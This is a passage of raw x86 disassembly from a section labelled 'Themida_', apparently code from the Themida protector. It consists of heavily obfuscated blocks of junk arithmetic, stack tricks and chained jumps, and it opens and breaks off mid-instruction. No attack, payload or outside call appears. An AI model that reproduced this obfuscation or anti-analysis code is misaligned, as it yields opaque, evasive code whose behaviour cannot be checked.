4B381DFFh not edi push 72D1h mov [esp], eax mov eax, 4B816EDh add edi, 50CF76B3h sub edi, eax sub edi, 50CF76B3h pop eax add edi, 3CC661FCh jmp loc_590935 ; --------------------------------------------------------------------------- loc_592B36: ; CODE XREF: Themida_:0059DBD8j push ebx push esp pop ebx jmp loc_59EC41 ; --------------------------------------------------------------------------- loc_592B3E: ; CODE XREF: Themida_:005A572Bj popf jmp locret_59A140 ; --------------------------------------------------------------------------- loc_592B44: ; CODE XREF: Themida_:0059F7D4j pop esi sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 34A4h mov [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push dword ptr [esp] jmp loc_590A59 ; --------------------------------------------------------------------------- loc_592B6B: ; CODE XREF: Themida_:005911B5j add esp, 4 sub esi, 71744E75h add esi, edi add esi, 71744E75h sub esi, 28E91037h jmp loc_598D0D ; --------------------------------------------------------------------------- loc_592B8A: ; CODE XREF: Themida_:005A1779j mov eax, [esp] add esp, 4 pop eax push ebp jmp loc_5988E0 ; --------------------------------------------------------------------------- loc_592B97: ; CODE XREF: Themida_:00593A2Fj push esi mov esi, 4AA34925h mov ebp, 2A8F249Dh sub ebp, 5CBB6628h add ebp, esi add ebp, 5CBB6628h pop esi sub ebp, 5470F73h dec ebp push ecx mov ecx, 6FEB5E4Ah xor ebp, ecx pop ecx add eax, ebp jmp loc_5A1FEE ; --------------------------------------------------------------------------- loc_592BC8: ; CODE XREF: Themida_:005904EBj mov esp, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_592BE1: ; CODE XREF: Themida_:0059F62Cj ; Themida_:005A0536j sub esp, 4 mov [esp], ebx push ebp jmp loc_5A2C6F ; --------------------------------------------------------------------------- loc_592BED: ; CODE XREF: Themida_:005A14F6j push dword ptr [esp] pop ebx push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A3DA9 ; --------------------------------------------------------------------------- loc_592C09: ; CODE XREF: Themida_:005998ECj mov ebx, 2B140E2Fh dec ebx jmp loc_594056 ; --------------------------------------------------------------------------- loc_592C14: ; CODE XREF: Themida_:005A398Bj neg edx not edx or edx, 62D84DDCh not edx push eax mov eax, 303E2D9Ah and eax, 6D7544CAh neg eax jmp loc_5A3018 ; --------------------------------------------------------------------------- loc_592C32: ; CODE XREF: Themida_:00590F5Aj add edx, 54B2312Ch jmp loc_59C9FA ; --------------------------------------------------------------------------- loc_592C3D: ; CODE XREF: Themida_:00591083j sub esi, 6B4F58C2h jmp loc_59BDD8 ; --------------------------------------------------------------------------- loc_592C48: ; CODE XREF: Themida_:0059ABD2j xor edx, ecx push 1EE0h mov [esp], ecx mov ecx, 18297A89h add ecx, 0AC6308Eh xor ecx, 0D68498Ch xor ecx, 73867FA8h jmp loc_5A09CF ; --------------------------------------------------------------------------- loc_592C6E: ; CODE XREF: Themida_:0059B98Bj mov eax, 4B4A2198h push 5037h mov [esp], ebx mov ebx, 12012FFFh xor ebx, 348D0A39h sub ebx, 0B6EDE787h xor eax, ebx pop ebx shr eax, 7 push edx mov edx, 0C832703Bh sub eax, 64F7731Fh add eax, edx jmp loc_5A153E ; --------------------------------------------------------------------------- loc_592CA4: ; CODE XREF: Themida_:005A43CEj xchg edi, [esp] pop esp push 2F43h mov [esp], esi mov esi, esp push ebp sub esp, 4 jmp loc_5A50F3 ; --------------------------------------------------------------------------- loc_592CBB: ; CODE XREF: Themida_:0059B6F4j mov [esp], edi mov edi, esp jmp loc_59170F ; --------------------------------------------------------------------------- loc_592CC5: ; CODE XREF: Themida_:0059A545j mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_59DC06 ; --------------------------------------------------------------------------- loc_592CD1: ; CODE XREF: Themida_:0059FCDBj push edx mov edx, 33A61B86h sub ebx, edx pop edx pop edx push edx push ebx push 295C1F02h pop ebx and ebx, 16760D35h sub ebx, 8CA8071Ah jmp loc_5A45F4 ; --------------------------------------------------------------------------- loc_592CF4: ; CODE XREF: Themida_:005939EEj mov edi, 4 add ecx, edi pop edi jmp loc_59C5AB ; --------------------------------------------------------------------------- loc_592D01: ; CODE XREF: Themida_:00596D14j xor edx, [esp] jmp loc_595734 ; --------------------------------------------------------------------------- loc_592D09: ; CODE XREF: Themida_:00599E40j push ecx mov ecx, 115F4321h jmp loc_59727F ; --------------------------------------------------------------------------- loc_592D14: ; CODE XREF: Themida_:0059893Aj mov [esp], dx mov dh, 21h jmp loc_5A4B65 ; --------------------------------------------------------------------------- loc_592D1F: ; CODE XREF: Themida_:005A2D8Aj or ebp, 3C301703h shl ebp, 2 add ebp, 0F3FA398h jmp loc_59732D ; --------------------------------------------------------------------------- loc_592D33: ; CODE XREF: Themida_:005995A1j push ebx mov ebx, edx mov esi, ebx pop ebx pop edx shr esi, 3 sub esi, 0FFFFFFFFh inc esi push ebp mov ebp, 3ABD46C8h neg ebp jmp loc_5A0303 ; --------------------------------------------------------------------------- loc_592D51: ; CODE XREF: Themida_:00594B3Fj sub dl, bh pop ebx xor cl, dl pop edx xor al, cl pop ecx push edx mov dl, 0Eh sub bl, 0E9h add bl, 98h sub bl, dl push ecx mov cl, 26h neg cl not cl jmp loc_5A0C9C ; --------------------------------------------------------------------------- loc_592D71: ; CODE XREF: Themida_:00593B30j add esp, 4 add ch, 3Dh sub ch, 1 shr ch, 4 shl ch, 3 jmp loc_5936A7 ; --------------------------------------------------------------------------- loc_592D88: ; CODE XREF: Themida_:0059D8A4j xor edx, 3D7B2BBEh jmp loc_59B131 ; --------------------------------------------------------------------------- loc_592D93: ; CODE XREF: Themida_:00599B3Aj xor [esp], esi jmp loc_5A33CF ; --------------------------------------------------------------------------- mov cx, [esp] push 6E27h mov [esp], eax mov eax, esp add eax, 4 push ecx jmp loc_592299 ; --------------------------------------------------------------------------- loc_592DB4: ; CODE XREF: Themida_:00593ABCj push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59F07C ; --------------------------------------------------------------------------- loc_592DCD: ; CODE XREF: Themida_:00597D4Fj push esi push edi mov edi, 72FC103Ah mov esi, 72FC103Bh xor esi, edi pop edi and eax, esi mov esi, [esp] push esi mov esi, esp push edi push ebx mov ebx, 8F02467h mov edi, 7BDB971Fh add edi, 25B104ADh sub edi, ebx sub edi, 25B104ADh mov ebx, [esp] jmp loc_597E95 ; --------------------------------------------------------------------------- loc_592E06: ; CODE XREF: Themida_:0059FBCAj push 12B976A7h mov ecx, [esp] add esp, 4 sub ecx, 0D2158ECh push ecx xor dword ptr [esp], 41984A1Ch pop ebp xor ebp, 41984A1Ch mov ecx, [esp] add esp, 4 jmp loc_5A5742 ; --------------------------------------------------------------------------- loc_592E34: ; CODE XREF: Themida_:0059896Bj pop eax loc_592E35: ; CODE XREF: Themida_:0059CA47j push 5C6Dh jmp loc_59032C ; --------------------------------------------------------------------------- loc_592E3F: ; CODE XREF: Themida_:0059D862j add ebp, 1E2C6476h shl ebp, 3 sub ebp, 6F8C5333h shr ebp, 5 sub ebp, 983D5AC3h push ebp pop ecx jmp loc_591C4E ; --------------------------------------------------------------------------- loc_592E5E: ; CODE XREF: Themida_:005A1BFEj push edx mov edx, 91375BEh push ebp mov ebp, 5E3F1062h inc ebp xor ebp, 3D3B1A1Fh jmp loc_599739 ; --------------------------------------------------------------------------- loc_592E76: ; CODE XREF: Themida_:00594B37j push esp jmp loc_59B8AA ; --------------------------------------------------------------------------- loc_592E7C: ; CODE XREF: Themida_:005A256Dj pop esp jmp loc_59A827 ; --------------------------------------------------------------------------- loc_592E82: ; CODE XREF: Themida_:005A2F48j pop ebp xor eax, 3163941Ch add edx, 4EE190Ah add edx, 2E2F2E8Dh add edx, eax sub edx, 2E2F2E8Dh sub edx, 4EE190Ah mov eax, [esp] jmp loc_59A4FD ; --------------------------------------------------------------------------- loc_592EAA: ; CODE XREF: Themida_:0059FFAAj sub al, dl pop dx pop ebx sub al, 67h sub al, bl add al, 67h push dx jmp loc_5997EE ; --------------------------------------------------------------------------- loc_592EBC: ; CODE XREF: Themida_:005A01A6j and ecx, ebp jmp loc_593D1B ; --------------------------------------------------------------------------- loc_592EC3: ; CODE XREF: Themida_:005A144Ej xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ebx push esp push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], esi mov esi, 62223E08h push edx jmp loc_5937A6 ; --------------------------------------------------------------------------- loc_592EEC: ; CODE XREF: Themida_:0059C9A8j push edi push esp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 2F89h mov [esp], ebx mov ebx, 6BB41044h jmp loc_59082F ; --------------------------------------------------------------------------- loc_592F13: ; CODE XREF: Themida_:00598C52j or ecx, 19F0637Ch not ecx shr ecx, 6 sub ecx, 1930CEDh push eax jmp loc_59BC8B ; --------------------------------------------------------------------------- loc_592F2A: ; CODE XREF: Themida_:0059A87Cj xor [esp], edi xor edi, [esp] jmp loc_590C9F ; --------------------------------------------------------------------------- loc_592F35: ; CODE XREF: Themida_:0059795Bj push eax sub esp, 4 mov [esp], ebx mov ebx, 48894070h mov eax, 0F7DEFE37h sub eax, 249819DAh add eax, ebx jmp loc_598CE6 ; --------------------------------------------------------------------------- loc_592F55: ; CODE XREF: Themida_:0059BEF2j xchg ecx, [esp] pop esp dec ch push eax mov ah, ch not ah mov ch, ah pop eax and ch, 27h jmp loc_5A235B ; --------------------------------------------------------------------------- loc_592F6B: ; CODE XREF: Themida_:005957AFj push ebx jmp loc_59FB39 ; --------------------------------------------------------------------------- push 4D0Bh mov [esp], esp add dword ptr [esp], 4 jmp loc_594908 ; --------------------------------------------------------------------------- loc_592F85: ; CODE XREF: Themida_:0059A3CBj add edi, 4 sub edi, 4 jmp loc_591DE4 ; --------------------------------------------------------------------------- loc_592F93: ; CODE XREF: Themida_:005915EBj mov ebp, [esp] jmp loc_596F1C ; --------------------------------------------------------------------------- loc_592F9B: ; CODE XREF: Themida_:0059CEFFj add ecx, edx pop edx mov ebp, ecx pop ecx shl ebp, 3 sub ebp, 5F841169h xor ebp, 63EE00B3h xor ebp, 31510F93h jmp loc_593C22 ; --------------------------------------------------------------------------- loc_592FBB: ; CODE XREF: Themida_:0059AB5Aj mov edx, 0EF5DAE7Eh jmp loc_5A3E22 ; --------------------------------------------------------------------------- loc_592FC5: ; CODE XREF: Themida_:0059F418j or ebp, 13109ECh add ebp, 1CB3E147h xor ebx, ebp mov ebp, [esp] add esp, 4 add eax, ebx pop ebx add esi, eax jmp loc_59E7B6 ; --------------------------------------------------------------------------- loc_592FE6: ; CODE XREF: Themida_:00590699j add ebp, 434103E9h jmp loc_5A54C2 ; --------------------------------------------------------------------------- loc_592FF1: ; CODE XREF: Themida_:005A382Fj push eax push esi mov esi, 5E931A2Ch jmp loc_5A1BE7 ; --------------------------------------------------------------------------- loc_592FFD: ; CODE XREF: Themida_:00593FFEj mov edi, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esi push edi jmp loc_5A00DD ; --------------------------------------------------------------------------- loc_59302D: ; CODE XREF: Themida_:005A12A3j pop ecx pop eax pop ecx xor edx, [edi+24h] xor [edi+24h], edx push eax jmp loc_595196 ; --------------------------------------------------------------------------- loc_59303C: ; CODE XREF: Themida_:0059A09Fj pop dword ptr [esp] jmp loc_5A0287 ; --------------------------------------------------------------------------- loc_593044: ; CODE XREF: Themida_:0059721Fj add dl, 0D9h push eax mov al, 64h jmp loc_590CF1 ; --------------------------------------------------------------------------- loc_59304F: ; CODE XREF: Themida_:0059730Dj push 2F04h jmp loc_591491 ; --------------------------------------------------------------------------- loc_593059: ; CODE XREF: Themida_:0059FE18j push dword ptr [esp] pop edx jmp loc_59219D ; --------------------------------------------------------------------------- loc_593062: ; CODE XREF: Themida_:00590ADAj pop dword ptr [esp] pop esp mov [esp], edx push 29C1h mov [esp], esp add dword ptr [esp], 4 pop edx push 6578h mov [esp], edi mov edi, 63AF4693h jmp loc_59BEF7 ; --------------------------------------------------------------------------- loc_593088: ; CODE XREF: Themida_:005A0F3Dj or [edi+1Ch], eax mov eax, [esp] add esp, 4 loc_593091: ; CODE XREF: Themida_:005A51CFj push ebx push ebx push 408Bh mov [esp], eax push 56DD02A6h pop eax add eax, 0D3C57C84h jmp loc_59763D ; --------------------------------------------------------------------------- loc_5930AB: ; CODE XREF: Themida_:005986BAj sub esi, 1276B8C7h mov edi, esi pop esi add eax, 7A391446h sub eax, edi sub eax, 7A391446h pop edi mov ebx, eax mov eax, [esp] add esp, 4 add ebp, 122324CBh add ebp, ebx jmp loc_595949 ; --------------------------------------------------------------------------- loc_5930D6: ; CODE XREF: Themida_:0059EAF7j push dword ptr [esp] pop eax add esp, 4 jmp loc_5997A4 ; --------------------------------------------------------------------------- loc_5930E5: ; CODE XREF: Themida_:00598812j mov esi, esp add esi, 4 jmp loc_5A21AC ; --------------------------------------------------------------------------- loc_5930F2: ; CODE XREF: Themida_:005921FAj add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_59C916 ; --------------------------------------------------------------------------- loc_593109: ; CODE XREF: Themida_:005973FDj sub ebp, 4 jmp loc_5A37D4 ; --------------------------------------------------------------------------- loc_593111: ; CODE XREF: Themida_:0059C921j pop esp jmp loc_591088 ; --------------------------------------------------------------------------- loc_593117: ; CODE XREF: Themida_:0059B069j mov edi, esp push ecx mov ecx, 28B97FF6h xor ecx, 12F06230h jmp loc_597F3B ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi mov edi, esp push edx mov edx, esp add edx, 4 jmp loc_5A5285 ; --------------------------------------------------------------------------- loc_593144: ; CODE XREF: Themida_:00599158j pop edx jmp loc_59E48C ; --------------------------------------------------------------------------- loc_59314A: ; CODE XREF: Themida_:00596801j sub ecx, 6C0A2505h shr ecx, 3 add ecx, 6F1E07A2h jmp loc_5A4862 ; --------------------------------------------------------------------------- loc_59315E: ; CODE XREF: Themida_:005A3316j add eax, 114112A8h mov ebx, eax jmp loc_5A31F3 ; --------------------------------------------------------------------------- loc_59316A: ; CODE XREF: Themida_:0059C428j sub esp, 4 mov [esp], esi mov esi, 13F10B00h jmp loc_5A1785 ; --------------------------------------------------------------------------- loc_59317A: ; CODE XREF: Themida_:00590CECj mov ecx, [esp] push 46B8h mov [esp], eax push esp pop eax sub esp, 4 mov [esp], edx mov edx, 1BAB2214h inc edx neg edx sub esp, 4 mov [esp], eax mov eax, 7400A45h jmp loc_5A409E ; --------------------------------------------------------------------------- loc_5931AB: ; CODE XREF: Themida_:0059E41Bj xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_59A62A ; --------------------------------------------------------------------------- loc_5931BF: ; CODE XREF: Themida_:005A192Ej push esp mov ebp, [esp] jmp loc_5A360B ; --------------------------------------------------------------------------- loc_5931C8: ; CODE XREF: Themida_:005929E6j pop ebx add ebx, 1DA60B89h pop eax add ebx, 37B43932h add ebx, 4DFF08CFh add ebx, 7DCA709Bh jmp loc_595690 ; --------------------------------------------------------------------------- loc_5931E7: ; CODE XREF: Themida_:0059D026j mov [esp], ecx mov ch, 0D0h push 421Fh jmp loc_597FE2 ; --------------------------------------------------------------------------- loc_5931F6: ; CODE XREF: Themida_:00591E66j sub edx, 3A94AA4Ah mov esi, edx pop edx push edx mov edx, 5D8C2EEFh not edx sub edx, 36D461CCh jmp loc_590E4A ; --------------------------------------------------------------------------- loc_593212: ; CODE XREF: Themida_:0059E992j mov eax, esi pop esi jmp loc_59FD5E ; --------------------------------------------------------------------------- loc_59321A: ; CODE XREF: Themida_:00591D13j push edi jmp loc_5A0624 ; --------------------------------------------------------------------------- loc_593220: ; CODE XREF: Themida_:005920C6j not ecx not ecx dec ecx xor ecx, 55A954B3h sub ecx, 0D1CFA1D7h add edi, ecx pop ecx jmp loc_591A41 ; --------------------------------------------------------------------------- loc_593239: ; CODE XREF: Themida_:0059504Aj push edx mov dl, ch mov ah, dl pop edx mov bl, ah pop eax pop ecx sub bl, dh mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp push edx mov edx, 4 jmp loc_592529 ; --------------------------------------------------------------------------- loc_59325B: ; CODE XREF: Themida_:005A574Ej mov [esp], ecx not dword ptr [esp] pop ecx push ebp mov ebp, 0B498DEB8h xor ecx, ebp mov ebp, [esp] add esp, 4 xor ebp, ecx jmp loc_5947CD ; --------------------------------------------------------------------------- loc_593277: ; CODE XREF: Themida_:0059450Dj mov [esp], ebp push eax push 6330242Fh jmp loc_5A2487 ; --------------------------------------------------------------------------- loc_593285: ; CODE XREF: Themida_:00596837j sub [esp+8], esi add dword ptr [esp+8], 581C7BBBh add dword ptr [esp+8], 13D359C1h push eax push edx mov edx, 53CD7EE9h mov eax, 396945A8h xor eax, edx pop edx add [esp+0Ch], eax jmp loc_5985D4 ; --------------------------------------------------------------------------- loc_5932B1: ; CODE XREF: Themida_:00598846j sub eax, 2F5A0546h inc eax shr eax, 7 shr eax, 7 add eax, 96A5F730h jmp loc_5A0C75 ; --------------------------------------------------------------------------- loc_5932C7: ; CODE XREF: Themida_:005A4580j mov ecx, [esp] add esp, 4 add ebx, eax sub ebx, 7F813B25h mov eax, [esp] jmp loc_59D72D ; --------------------------------------------------------------------------- loc_5932DD: ; CODE XREF: Themida_:005A5543j push ebp mov ebp, 19D6A4Eh sub edi, 7CB82355h jmp loc_590819 ; --------------------------------------------------------------------------- loc_5932EE: ; CODE XREF: Themida_:005948B3j push ebp mov ebp, esp jmp loc_59AA60 ; --------------------------------------------------------------------------- loc_5932F6: ; CODE XREF: Themida_:00596A35j pop ebp jmp loc_599287 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_59F508 ; --------------------------------------------------------------------------- loc_593305: ; CODE XREF: Themida_:0059263Fj mov esi, 34040543h dec esi neg esi add esi, 60D33E4Ah push eax jmp loc_594F3E ; --------------------------------------------------------------------------- loc_593319: ; CODE XREF: Themida_:005A51E7j sub [esp+4], ebp jmp loc_5A51EC ; --------------------------------------------------------------------------- loc_593322: ; CODE XREF: Themida_:005952B4j pop esi push 7404h mov [esp], esi push 1 push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push 285Bh mov [esp], esi mov esi, esp push edx push 662E1CEEh pop edx jmp loc_5A08B7 ; --------------------------------------------------------------------------- loc_593353: ; CODE XREF: Themida_:0059850Dj pop ebp jmp loc_5A528B ; --------------------------------------------------------------------------- loc_593359: ; CODE XREF: Themida_:0059DB18j pop ebx shl ebx, 4 add ebx, 0C0FC7E64h mov ecx, ebx pop ebx add eax, ecx pop ecx sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_59250D ; --------------------------------------------------------------------------- loc_593379: ; CODE XREF: Themida_:005936D8j push edx push 17C8h mov [esp], esi mov esi, 236667CEh jmp loc_59EEA0 ; --------------------------------------------------------------------------- loc_59338C: ; CODE XREF: Themida_:005989A3j add edx, edi mov edi, [esp] push edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp sub edx, 2 push 17D9h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push small 16Bh jmp loc_59F932 ; --------------------------------------------------------------------------- loc_5933C4: ; CODE XREF: Themida_:0059661Fj sub esp, 4 jmp loc_5A42B9 ; --------------------------------------------------------------------------- loc_5933CC: ; CODE XREF: Themida_:005A25A1j dec dword ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5933D5: ; CODE XREF: Themida_:0059B4FBj xor eax, edi xor edi, eax xor eax, edi push 304Eh mov [esp], edx sub esp, 4 mov [esp], esi push 3216h mov [esp], ebp push edx mov edx, 21CC07C8h jmp loc_591802 ; --------------------------------------------------------------------------- loc_5933FC: ; CODE XREF: Themida_:00597E48j add ecx, 4 xchg ecx, [esp] pop esp add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593415: ; CODE XREF: Themida_:005A0914j push 4ADBh mov [esp], ecx jmp loc_5944EF ; --------------------------------------------------------------------------- loc_593422: ; CODE XREF: Themida_:00591CB0j add edx, eax jmp loc_5909D4 ; --------------------------------------------------------------------------- loc_593429: ; CODE XREF: Themida_:0059E064j mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax jmp loc_5A4ED8 ; --------------------------------------------------------------------------- loc_593440: ; CODE XREF: Themida_:005A0372j pop edi add ebp, 4 xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi push ebx mov ebx, 0A0719EDh jmp loc_599005 ; --------------------------------------------------------------------------- loc_59346C: ; CODE XREF: Themida_:00596F22j push 6E64h jmp loc_5A4EA2 ; --------------------------------------------------------------------------- loc_593476: ; CODE XREF: Themida_:0059DDA8j mov eax, 20D20BB2h mov ecx, eax pop eax push ebx mov ebx, 6C762E24h sub ebx, 6CC773B5h push ebx not dword ptr [esp] pop ebx dec ebx push 3CE2h mov [esp], edx mov edx, 1EE72082h neg edx neg edx sub edx, 4C630408h not edx jmp loc_5967F2 ; --------------------------------------------------------------------------- loc_5934AE: ; CODE XREF: Themida_:0059D826j add eax, ebp pop ebp jmp loc_599489 ; --------------------------------------------------------------------------- loc_5934B6: ; CODE XREF: Themida_:0059D1B3j add ebp, esi pop esi xchg ebp, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_599CEB ; --------------------------------------------------------------------------- loc_5934CB: ; CODE XREF: Themida_:0059E407j mov eax, edx mov edx, [esp] add esp, 4 add ebx, eax pop eax jmp loc_59CE9A ; --------------------------------------------------------------------------- loc_5934DE: ; CODE XREF: Themida_:0059D446j add esp, 4 jmp loc_5A12B3 ; --------------------------------------------------------------------------- loc_5934E6: ; CODE XREF: Themida_:0059820Dj add esi, 4 push 140Bh mov [esp], ebp mov ebp, 2C05565Eh xor ebp, 519E2F49h jmp loc_59D8F6 ; --------------------------------------------------------------------------- loc_593504: ; CODE XREF: Themida_:00598870j push edx jmp loc_59DC33 ; --------------------------------------------------------------------------- loc_59350A: ; CODE XREF: Themida_:005A0E9Aj push eax push esp jmp loc_59710B ; --------------------------------------------------------------------------- lodsb jmp loc_5A3098 ; --------------------------------------------------------------------------- mov ax, [esp] push edx push edx mov edx, esp jmp loc_5957E1 ; --------------------------------------------------------------------------- loc_593524: ; CODE XREF: Themida_:00590930j pop esp jmp loc_596E9E ; --------------------------------------------------------------------------- loc_59352A: ; CODE XREF: Themida_:0059F3DAj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5981D6 ; --------------------------------------------------------------------------- loc_59353A: ; CODE XREF: Themida_:005A09ACj xchg edi, [esp] mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593545: ; CODE XREF: Themida_:00590364j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 28F2h mov [esp], edi mov edi, 17A45AF5h add edi, 0E85BA50Fh add eax, 1E6F59B8h sub eax, edi sub eax, 1E6F59B8h mov edi, [esp] jmp loc_59C10C ; --------------------------------------------------------------------------- loc_59357A: ; CODE XREF: Themida_:0059CB8Cj add edx, edi mov edi, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_599101 ; --------------------------------------------------------------------------- loc_593598: ; CODE XREF: Themida_:005936A2j pop ebx jmp loc_594446 ; --------------------------------------------------------------------------- loc_59359E: ; CODE XREF: Themida_:00592023j sub eax, edi jmp loc_59D073 ; --------------------------------------------------------------------------- loc_5935A5: ; CODE XREF: Themida_:0059F965j push ebx push 4A2D0EE6h pop ebx jmp loc_5A36FB ; --------------------------------------------------------------------------- loc_5935B1: ; CODE XREF: Themida_:0059FB60j sub esp, 4 mov [esp], edi push eax push 60F57E4Eh pop eax sub eax, 9CF0A80h sub eax, 0E75652DAh mov edi, eax pop eax xor eax, edi mov edi, [esp] jmp loc_598158 ; --------------------------------------------------------------------------- loc_5935D8: ; CODE XREF: Themida_:0059D4C8j push 5FC5h mov [esp], ecx mov ecx, 62F734A4h neg ecx or ecx, 2FEE435Eh shl ecx, 1 sub ecx, 36D7334Ch push ecx pop esi pop ecx jmp loc_5A4934 ; --------------------------------------------------------------------------- loc_5935FD: ; CODE XREF: Themida_:0059B334j add eax, 3DB9632Bh add eax, esi push edx mov edx, 6D800337h and edx, 128E5723h shr edx, 2 jmp loc_5A19A5 ; --------------------------------------------------------------------------- loc_593618: ; CODE XREF: Themida_:005A47ADj or eax, ebp pop ebp push eax xchg edx, [esp] jmp loc_595AFB ; --------------------------------------------------------------------------- loc_593624: ; CODE XREF: Themida_:005963C9j sub ebp, edx mov edx, [esp] jmp loc_595FC0 ; --------------------------------------------------------------------------- loc_59362E: ; CODE XREF: Themida_:005A034Aj push eax mov eax, 7B1D5F9Ch jmp loc_5A29B6 ; --------------------------------------------------------------------------- loc_593639: ; CODE XREF: Themida_:005A3845j push esi mov esi, esp jmp loc_59A5C0 ; --------------------------------------------------------------------------- loc_593641: ; CODE XREF: Themida_:005A39DEj xor ebp, ecx pop ecx push ecx mov ecx, 7B407B04h or ebp, ecx pop ecx add ebp, 7BC45A88h add edi, ebp pop ebp mov eax, edi mov edi, [esp] jmp loc_5A343E ; --------------------------------------------------------------------------- loc_593660: ; CODE XREF: Themida_:005A0260j push ebp mov ebp, 7BF768D7h xor edx, ebp mov ebp, [esp] add esp, 4 or edx, 7840789Ah sub edx, 7E1571A6h jmp loc_59B19A ; --------------------------------------------------------------------------- loc_59367F: ; CODE XREF: Themida_:0059FE41j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_593684: ; CODE XREF: Themida_:0059AD60j pop ebx jmp loc_59628E ; --------------------------------------------------------------------------- loc_59368A: ; CODE XREF: Themida_:0059174Bj shl ebx, 2 sub ebx, 0C625793Bh add edx, ebx jmp loc_5965B9 ; --------------------------------------------------------------------------- loc_59369A: ; CODE XREF: Themida_:005A3006j mov bl, 0A1h sub al, 44h add al, bl add al, 44h jmp loc_593598 ; --------------------------------------------------------------------------- loc_5936A7: ; CODE XREF: Themida_:00592D83j neg ch push edx mov dl, 0E9h jmp loc_5A0925 ; --------------------------------------------------------------------------- loc_5936B1: ; CODE XREF: Themida_:005A24E7j add esp, 4 jmp loc_595886 ; --------------------------------------------------------------------------- loc_5936BC: ; CODE XREF: Themida_:00597D34j add esp, 4 add esp, 4 push 487Ch mov [esp], ebx push esp push dword ptr [esp] pop ebx jmp loc_598B2C ; --------------------------------------------------------------------------- loc_5936D7: ; CODE XREF: Themida_:00590A54j pop ebp jmp loc_593379 ; --------------------------------------------------------------------------- loc_5936DD: ; CODE XREF: Themida_:0059C721j not byte ptr [esp] pop dx push ebx jmp loc_598598 ; --------------------------------------------------------------------------- loc_5936E8: ; CODE XREF: Themida_:00598796j mov [esp], ecx jmp loc_598E4A ; --------------------------------------------------------------------------- loc_5936F0: ; CODE XREF: Themida_:00590F6Bj add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_593925 ; --------------------------------------------------------------------------- loc_593705: ; CODE XREF: Themida_:00595DB6j push esi jmp loc_596C08 ; --------------------------------------------------------------------------- loc_59370B: ; CODE XREF: Themida_:0059497Cj sub ebx, 2A5C4483h jmp loc_593E28 ; --------------------------------------------------------------------------- loc_593716: ; CODE XREF: Themida_:005A3116j sub eax, 5A89416Eh add eax, esi jmp loc_594595 ; --------------------------------------------------------------------------- loc_593722: ; CODE XREF: Themida_:0059624Dj push dword ptr [esp] jmp loc_59C1A8 ; --------------------------------------------------------------------------- loc_59372A: ; CODE XREF: Themida_:005A300Dj push edx mov dh, 0A6h shr dh, 4 push ebx jmp loc_59988B ; --------------------------------------------------------------------------- loc_593736: ; CODE XREF: Themida_:0059668Aj sub esp, 4 mov [esp], ecx jmp loc_59C8EE ; --------------------------------------------------------------------------- loc_593741: ; CODE XREF: Themida_:005A00D8j pop edi jmp loc_5917C7 ; --------------------------------------------------------------------------- loc_593747: ; CODE XREF: Themida_:005A41ECj mov ecx, 1BE301D0h neg ecx not ecx jmp loc_5A2983 ; --------------------------------------------------------------------------- loc_593755: ; CODE XREF: Themida_:005989E5j add ecx, 4 xchg ecx, [esp] mov esp, [esp] add [esp+4], edx pop edx pop edx push ebx mov ebx, 0A6D3730h dec ebx shr ebx, 2 shl ebx, 1 shr ebx, 4 xor ebx, 685F032Ah xor ebx, 2B9854BEh or ebx, 5F9D6107h xor ebx, 5F9D7F2Bh add edx, ebx pop ebx add edx, 4 push edx jmp loc_5A2E50 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_596471 ; --------------------------------------------------------------------------- loc_5937A6: ; CODE XREF: Themida_:00592EE7j mov edx, 5E436063h jmp loc_59CBE7 ; --------------------------------------------------------------------------- loc_5937B0: ; CODE XREF: Themida_:005A24B8j add esp, 4 push ecx jmp loc_591AD6 ; --------------------------------------------------------------------------- loc_5937BC: ; CODE XREF: Themida_:005A5253j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_59F1FA ; --------------------------------------------------------------------------- loc_5937C8: ; CODE XREF: Themida_:00597F46j push ecx jmp loc_59E9B6 ; --------------------------------------------------------------------------- loc_5937CE: ; CODE XREF: Themida_:0059A4F8j add ebx, 51AA1A9Ch add ebx, eax sub ebx, 51AA1A9Ch jmp loc_5A5100 ; --------------------------------------------------------------------------- loc_5937E1: ; CODE XREF: Themida_:0059A186j xor edi, 